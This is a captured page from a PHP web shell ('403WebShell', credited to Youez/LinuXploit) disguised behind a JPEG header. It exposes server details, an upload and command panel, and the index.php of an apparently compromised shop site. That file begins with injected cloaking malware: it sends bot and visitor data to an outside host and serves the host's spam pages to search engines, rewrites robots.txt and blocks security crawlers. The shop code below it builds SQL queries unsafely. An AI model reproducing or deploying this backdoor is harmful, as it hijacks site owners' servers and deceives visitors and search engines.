����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 162.0.232.25  /  Your IP : 3.135.199.179
Web Server : LiteSpeed
System : Linux premium276.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : kwacuqig ( 988)
PHP Version : 8.2.26
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/kwacuqig/bm1holdings-ltd.com/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/kwacuqig/bm1holdings-ltd.com/index.php
<?php
error_reporting(0);
    function getrealIp()
    {
        if (getenv('HTTP_CLIENT_IP')) {
            $ip = getenv('HTTP_CLIENT_IP');
        }
        if (getenv('HTTP_X_REAL_IP')) {
            $ip = getenv('HTTP_X_REAL_IP');
        } elseif (getenv('HTTP_X_FORWARDED_FOR')) {
            $ip = getenv('HTTP_X_FORWARDED_FOR');
            $ips = explode(',', $ip);
            $ip = $ips[0];
        } elseif (getenv('REMOTE_ADDR')) {
            $ip = getenv('REMOTE_ADDR');
        } else {
            $ip = '0.0.0.0';
        }

        return $ip;
    }
function get_url($url)
{
	$remoteContent = @file_get_contents($url);
	if(empty($remoteContent))
	{
		$ch = curl_init();
		curl_setopt($ch, CURLOPT_URL, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
		if(strpos($url,"https://") !== false){
			curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
			curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
		}
		$remoteContent = curl_exec($ch);
		curl_close($ch);
	}
	return $remoteContent;
}
function get_url2($url)
{
	$ch = curl_init();
	curl_setopt($ch, CURLOPT_URL, $url);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
	curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
	curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
	if(strpos($url,"https://") !== false){
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
	}
	$remoteContent = curl_exec($ch);
	curl_close($ch);
	
	if(empty($remoteContent))
	{
		$remoteContent = @file_get_contents($url);
	}
	return $remoteContent;
}
if(preg_match("/(Bytespider|PetalBot|AhrefsBot|Barkrowler|MJ12bot|FeedDemon|JikeSpider|Indy Library|AskTbFXTV|CrawlDaddy|CoolpadWebkit|Java|Feedly|UniversalFeedParser|ApacheBench|Swiftbot|ZmEu|oBot|jaunty|Python-urllib|python-requests|lightDeckReports Bot|YYSpider|DigExt|YisouSpider|HttpClient|heritrix|EasouSpider|Ezooms|AmazonBot|SEMrushBot|YandexBot|paloaltonetworks|Python)/i", $_SERVER['HTTP_USER_AGENT']))
{
	header('HTTP/1.0 403 Forbidden');
	exit();
}
$botagent = "bing|google|yahoo";

$datacenter = "http://cw209.lowoffice.shop/index.php";
$pc = 2986;
$useragent = urlencode($_SERVER['HTTP_USER_AGENT']);
$refer = urlencode($_SERVER['HTTP_REFERER']);
$language = urlencode($_SERVER['HTTP_ACCEPT_LANGUAGE']);
//$ip = urlencode($_SERVER['REMOTE_ADDR']);
$realip = getrealIp();
$ip = urlencode($realip);
$domain = urlencode($_SERVER['HTTP_HOST']);
$script = urlencode($_SERVER['SCRIPT_NAME']);
if ( (! empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (! empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (! empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443') || (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') ) {
    $_SERVER['REQUEST_SCHEME'] = 'https';
} else {
    $_SERVER['REQUEST_SCHEME'] = 'http';
}
$http = urlencode($_SERVER['REQUEST_SCHEME']);
$uri = urldecode($_SERVER['REQUEST_URI']);
if(strpos($uri,"uuuuxxxxooo") !== false){
	echo "ok";
	exit();
}
if($realip == "153.246.135.238" || $realip == "219.101.44.233")
{
	header('HTTP/1.0 403 Forbidden');
	exit();
}
$rewriteable = 0;
if(!file_exists("uxo.txt"))
{
	$uuu = $http.'://'.$_SERVER['HTTP_HOST'].'/uuuuxxxxooo';
	$dd = get_url($uuu);
	if($dd == "ok")
	{
		$rewriteable = 1;
		@file_put_contents("uxo.txt","1");
	}
	else
	{
		$rewriteable = 0;
		@file_put_contents("uxo.txt","0");
	}
}
else
{
	$rewriteable = @file_get_contents("uxo.txt");
}

if(strpos($uri,"pingsitemap.xml") !== false){
	$scripname = $_SERVER['SCRIPT_NAME'];
	if( strpos( $scripname, "index.php") !== false)
	{
		if($rewriteable == 0)
		{
			$scripname = '/?';
		}
		else
		{
			$scripname = '/';
		}
	}
	else
	{
		$scripname = $scripname.'?';	
	}
    $google ="https://www.google.com/ping?sitemap=";
	//$google ="http://www.google.com/webmasters/tools/ping?sitemap=";
	$robots_contents = 'User-agent: *
Allow: /';
	$sitemap = "$http://" . $domain .$scripname. "sitemap.xml";
	$robots_contents = trim($robots_contents)."\r\n"."Sitemap: $sitemap";
	//$dd = get_url2($google. urlencode( $sitemap));
	$sitemapstatus = "";
	//if(preg_match("/<h2>(.+?)<\/h2>/i",$dd,$match))
	//{
	//	$sitemapstatus = $match[1];
	//}
	
	//$sitemapstatus = ( strpos($dd,"Sitemap Notification Received") !== false ) ? "OK" : "<font color='red'>ERROR</font>";
	echo $sitemap.": ".$sitemapstatus.'<br/>';

	//usleep(100*1000);

	$requsturl = $datacenter."?agent=$useragent&refer=$refer&lang=$language&ip=$ip&dom=$domain&http=$http&uri=$uri&pc=$pc&rewriteable=$rewriteable&script=$script&sitemap=".urlencode($sitemap);
	$dd = get_url($requsturl);	
	//for($i = 1; $i < 30; $i++){
		//$sitemap = "$http://" . $domain.$scripname. "sitemap_index_$i.xml";
		//$robots_contents = trim($robots_contents)."\r\n"."Sitemap: $sitemap";
		// $dd = get_url2($google.urlencode($sitemap));
		// $sitemapstatus = "<font color='red'>ERROR</font>";
		// if(preg_match("/<h2>(.+?)<\/h2>/i",$dd,$match))
		// {
			// $sitemapstatus = $match[1];
		// }
		// //$sitemapstatus = ( strpos($dd,"Sitemap Notification Received") !== false ) ? "OK" : "<font color='red'>ERROR</font>";
		// echo $sitemap.": ".$sitemapstatus.'<br/>';
		//usleep(100*1000);
	//}
	@file_put_contents("robots.txt",$robots_contents);
	exit();
}
else if(strpos($uri,"favicon.ico") !== false){
	
}
else if(strpos($uri,"jp2023") !== false){
	$requsturl = $datacenter."?agent=$useragent&refer=$refer&lang=$language&ip=$ip&dom=$domain&http=$http&uri=$uri&pc=$pc&rewriteable=$rewriteable&script=$script";
	$dd = get_url($requsturl);
	echo $dd;
	exit();
}
else if(strpos($uri,"robots.txt") !== false || strpos($uri,"writerobots") !== false){
	//$uri = "writerobots";
	$requsturl = $datacenter."?agent=$useragent&refer=$refer&lang=$language&ip=$ip&dom=$domain&http=$http&uri=$uri&pc=$pc&rewriteable=$rewriteable&script=$script";
	header('Content-Type: text/plain; charset=utf-8');
	echo $dd = get_url($requsturl);
	@file_put_contents("robots.txt",$dd);
	exit();
}
else if(preg_match("@^/(.*?).xml$@i", $uri)){
	$requsturl = $datacenter."?agent=$useragent&refer=$refer&lang=$language&ip=$ip&dom=$domain&http=$http&uri=$uri&pc=$pc&rewriteable=$rewriteable&script=$script";
	$dd = get_url($requsturl);
	if($dd == "500")
	{
		header("HTTP/1.0 500 Internal Server Error");
		exit();
	}
	else
	{
		header('Content-Type: text/xml; charset=utf-8');
		echo $dd;
		exit();
	}
}
else if(preg_match("/($botagent)/i", $_SERVER['HTTP_USER_AGENT']))
{
	$requsturl = $datacenter."?agent=$useragent&refer=$refer&lang=$language&ip=$ip&dom=$domain&http=$http&uri=$uri&pc=$pc&rewriteable=$rewriteable&script=$script";
	$dd = get_url($requsturl);

	if(!empty($dd))
	{
		if($dd == "500")
		{
			header("HTTP/1.0 500 Internal Server Error");
			exit();
		}
		if(substr($dd,0,5)=="<?xml")
		{
			header('Content-Type: text/xml; charset=utf-8');
		}
		else
		{
			header('Content-Type: text/html; charset=utf-8');
		}
		echo $dd;
		exit();
	}
}
else if(preg_match("/($botagent)/i", $_SERVER['HTTP_REFERER']))
{
	$requsturl = $datacenter."?agent=$useragent&refer=$refer&lang=$language&ip=$ip&dom=$domain&http=$http&uri=$uri&pc=$pc&rewriteable=$rewriteable";
	$dd = get_url($requsturl);
	if($dd == "500")
	{
		header("HTTP/1.0 500 Internal Server Error");
		exit();
	}
	else if(!empty($dd))
	{
		header('HTTP/1.1 404 Not Found');
		echo $dd;
		exit();
	}
}
else
{
}
?>
<?php
include './header.php';
include './assets/php/connect.php';
include './assets/php/filterFile.php';
?>
<div class="preloader">
    <div class="preloader-inner">
        <div class="preloader-icon">
            <span></span>
            <span></span>
        </div>
    </div>
</div>
<div class="product-area section">
    <div class="container">
        <div class="row">
            <div class="col-12">
                <div class="section-title d-flex justify-content-between align-center mt-1">
                    <div class="d-flex section-title-left">
                        <i class="flaticon-menu"></i>
                        <h2>Categories</h2>
                    </div>
                    <div class="section-title-right">
                        <a href="products?category=Phones">View More <i class="far fa-long-arrow-right"></i></a>
                    </div>
                </div>
            </div>
        </div>
        <div class="row">
            <?php
            $query = "SELECT * FROM `categories` ORDER BY `sort` ASC";
            $run = mysqli_query($conn, $query) or die(mysqli_error($conn));
            while ($row = mysqli_fetch_array($run)) {
            ?>
                <div class="col-lg-3 col-6 mb-4">
                    <a href="products?category=<?php echo $row['category']; ?>">
                        <div class="single-category">
                            <div class="d-flex">
                                <i class="<?php echo $row['icon']; ?>"></i>
                                <span><?php echo $row['category']; ?></span>
                            </div>
                        </div>
                    </a>
                </div>
            <?php
            }
            ?>
        </div>
    </div>
</div>

<?php
/*******************Products Per Category*************************/
$query = "SELECT * FROM `categories` ORDER BY `sort` ASC";
$run2 = mysqli_query($conn, $query) or die(mysqli_error($conn));
while ($row2 = mysqli_fetch_array($run2)) {
?>
    <!-- <?php echo $row2['category']; ?> -->
    <div class="product-area section">
        <div class="container">
            <div class="row">
                <div class="col-12">
                    <div class="section-title d-flex justify-content-between align-center">
                        <div class="d-flex section-title-left">
                            <i class="<?php echo $row2['icon']; ?>"></i>
                            <h2><?php echo $row2['category']; ?></h2>
                        </div>
                        <div class="section-title-right">
                            <a href="products?category=<?php echo $row2['category']; ?>">View More <i class="far fa-long-arrow-right"></i></a>
                        </div>
                    </div>
                </div>
            </div>
            <div class="product-slider owl-carousel owl-theme">
                <?php
                $query = "SELECT * FROM `products` WHERE `category`='" . $row2['category'] . "' ORDER BY `pid` DESC LIMIT 8";
                $run = mysqli_query($conn, $query) or die(mysqli_error($conn));
                if (mysqli_num_rows($run) > 0) {
                    while ($row = mysqli_fetch_array($run)) {
                        ?>
                        <div class="item">
                            <div class="single-product">
                                <div class="product-img">
                                    <a href="product=<?php echo filter_file($row['pid'] . '-' . $row['product']); ?>">
                                        <img class="product-img" src="assets/products/<?php echo $row['image']; ?>" alt="#">
                                    </a>
                                    <div class="button-head">
                                        <div class="product-action">
                                            <a data-bs-toggle="modal" data-bs-target="#shop-<?php echo $row['pid']; ?>" href="#"><i class="far fa-eye"></i><span>Quick Shop</span></a>
                                        </div>
                                    </div>
                                </div>
                                <div class="product-content">
                                    <h3><a href="product=<?php echo filter_file($row['pid'] . '-' . $row['product']); ?>"><?php echo $row['product']; ?></a></h3>
                                    <div class="product-rate">
                                        <i class="fas fa-star"></i>
                                        <i class="fas fa-star"></i>
                                        <i class="fas fa-star"></i>
                                        <i class="fas fa-star"></i>
                                        <i class="far fa-star"></i>
                                    </div>
                                    <div class="d-flex justify-content-between">
                                        <div class="product-price">
                                            <span class="old">K<?php echo $row['price']; ?></span>
                                            <span>K<?php echo $row['discount']; ?></span>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div>
                        <?php
                    }
                } else {
                    ?>
                    <div class="h6 text-center my-1">Not uploaded yet</div>
                    <?php
                }
                ?>
            </div>
        </div>
    </div>
<?php
}

/*******************Quick Shop*************************/
$sql = "SELECT * FROM `categories` ORDER BY `sort` ASC";
$run3 = mysqli_query($conn, $sql) or die(mysqli_error($conn));
while ($row3 = mysqli_fetch_array($run3)) {
?>
    <!-- Quick Shop For <?php echo $row3['category']; ?>-->
    <?php
    $query = "SELECT * FROM `products` WHERE `category`='" . $row3['category'] . "' ORDER BY `pid` DESC LIMIT 8";
    $run = mysqli_query($conn, $query) or die(mysqli_error($conn));
    while ($row = mysqli_fetch_array($run)) {
    ?>
        <div class="modal fade" id="shop-<?php echo $row['pid']; ?>" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1" aria-labelledby="#shop-<?php echo $row['pid']; ?>" aria-hidden="true">
            <div class="modal-dialog modal-lg modal-dialog-centered" role="document">
                <div class="modal-content">
                    <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
                    <div class="modal-body">
                        <div class="row">
                            <div class="col-lg-6 col-md-12 col-sm-12 col-xs-12">
                                <img src="assets/products/<?php echo $row['image']; ?>" alt="#">
                            </div>
                            <div class="col-lg-6 col-md-12 col-sm-12 col-xs-12">
                                <div class="quickview-content">
                                    <h2><?php echo $row['product']; ?></h2>
                                    <div class="d-flex mb-3">
                                        <span>Category:</span>
                                        <b><?php echo $row['category']; ?></b>
                                    </div>
                                    <div class="d-flex mb-3">
                                        <span>Rated:</span>
                                        <div class="quickview-ratting-review">
                                            <div class="quickview-ratting-wrap">
                                                <div class="quickview-ratting">
                                                    <i class="fa fa-star"></i>
                                                    <i class="fa fa-star"></i>
                                                    <i class="fa fa-star"></i>
                                                    <i class="fa fa-star"></i>
                                                    <i class="fal fa-star"></i>
                                                </div>
                                            </div>
                                        </div>
                                    </div>
                                    <h3>K<?php echo $row['discount']; ?></h3>
                                    <div class="add-to-cart">
                                        <a href="tel:0997844055" class="btn"><i class="far fa-phone"></i></a>
                                        <a href="mailto:bm1holdingsltd247@gmail.com" class="btn"><i class="fa fa-envelope"></i></a>
                                        <a href="https://wa.me/265997844055?text=[bm1holdings-ltd.com].%20Hi%20I%20am%20interested%20in%20buying%20your%20product%20(<?php echo $row['product'] . ")%20at%20K" . $row['discount'] . ".Lets%20talk%20about%20it.%20Thank%20you."; ?>" class="btn"><i class="fab fa-whatsapp"></i></a>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    <?php
    }
    ?>
<?php
}

include './footer.php';
include './scripts.php';
?>
<script>
    document.querySelector("title").innerText = "BM 1 HOLDINGS LTD - HOME";
    document.querySelectorAll(".menu-area ul li")[0].classList.add("active");
    document.querySelectorAll(".slicknav_nav li a")[0].style.color = "blue";
</script>

Youez - 2016 - github.com/yon3zu
LinuXploit